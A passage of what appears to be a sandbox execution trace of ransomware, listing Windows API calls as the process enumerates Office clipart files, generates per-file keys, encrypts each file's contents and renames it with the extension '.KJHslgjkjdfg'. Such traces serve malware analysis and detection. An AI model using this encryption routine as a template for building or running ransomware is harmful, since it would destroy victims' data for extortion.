lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.720] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13e8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x13e8, lpOverlapped=0x0) returned 1 [0199.721] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13f0) returned 1 [0199.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.721] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x13f0, lpOverlapped=0x0) returned 1 [0199.721] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.721] SetEndOfFile (hFile=0x130) returned 1 [0199.723] GetProcessHeap () returned 0x990000 [0199.723] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.724] GetProcessHeap () returned 0x990000 [0199.724] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf.kjhslgjkjdfg")) returned 1 [0199.725] CloseHandle (hObject=0x130) returned 1 [0199.725] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xda0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239975.WMF", cAlternateFileName="")) returned 1 [0199.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.726] GetProcessHeap () returned 0x990000 [0199.726] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.726] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.726] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.726] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.726] GetProcessHeap () returned 0x990000 [0199.726] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.726] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.726] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.726] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.728] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.728] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.728] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.728] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.728] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.728] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.728] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xda0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xda0, lpOverlapped=0x0) returned 1 [0199.728] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xda0, dwBufLen=0xda0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xda0) returned 1 [0199.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.729] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xda0, lpOverlapped=0x0) returned 1 [0199.729] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.729] SetEndOfFile (hFile=0x130) returned 1 [0199.729] GetProcessHeap () returned 0x990000 [0199.729] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.729] GetProcessHeap () returned 0x990000 [0199.729] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf.kjhslgjkjdfg")) returned 1 [0199.730] CloseHandle (hObject=0x130) returned 1 [0199.731] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239997.WMF", cAlternateFileName="")) returned 1 [0199.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.732] GetProcessHeap () returned 0x990000 [0199.732] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.732] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.732] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.734] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.734] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.734] GetProcessHeap () returned 0x990000 [0199.734] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.734] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.734] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.734] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.735] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.735] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.735] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.735] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.735] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.735] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.735] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcd8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xcd8, lpOverlapped=0x0) returned 1 [0199.735] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xce0, dwBufLen=0xce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xce0) returned 1 [0199.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.735] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xce0, lpOverlapped=0x0) returned 1 [0199.736] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.736] SetEndOfFile (hFile=0x130) returned 1 [0199.738] GetProcessHeap () returned 0x990000 [0199.738] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.738] GetProcessHeap () returned 0x990000 [0199.738] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.738] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf.kjhslgjkjdfg")) returned 1 [0199.740] CloseHandle (hObject=0x130) returned 1 [0199.740] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0240157.WMF", cAlternateFileName="")) returned 1 [0199.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.742] GetProcessHeap () returned 0x990000 [0199.742] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.742] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.742] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.749] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.749] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.749] GetProcessHeap () returned 0x990000 [0199.749] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.749] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.749] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.749] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.749] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.749] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.749] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.749] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.750] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.750] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.750] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1df8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1df8, lpOverlapped=0x0) returned 1 [0199.751] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e00) returned 1 [0199.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.751] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e00, lpOverlapped=0x0) returned 1 [0199.751] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.751] SetEndOfFile (hFile=0x130) returned 1 [0199.753] GetProcessHeap () returned 0x990000 [0199.753] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.753] GetProcessHeap () returned 0x990000 [0199.753] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf.kjhslgjkjdfg")) returned 1 [0199.754] CloseHandle (hObject=0x130) returned 1 [0199.755] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0240175.WMF", cAlternateFileName="")) returned 1 [0199.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.756] GetProcessHeap () returned 0x990000 [0199.756] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.756] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.756] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.756] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.756] GetProcessHeap () returned 0x990000 [0199.756] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.756] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.756] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.756] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.761] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.761] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.761] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.762] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.762] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.762] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.762] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa410, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa410, lpOverlapped=0x0) returned 1 [0199.767] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa410, dwBufLen=0xa410 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa410) returned 1 [0199.767] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.767] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa410, lpOverlapped=0x0) returned 1 [0199.768] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa4e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.768] SetEndOfFile (hFile=0x130) returned 1 [0199.771] GetProcessHeap () returned 0x990000 [0199.771] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.771] GetProcessHeap () returned 0x990000 [0199.771] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.771] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf.kjhslgjkjdfg")) returned 1 [0199.775] CloseHandle (hObject=0x130) returned 1 [0199.775] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, 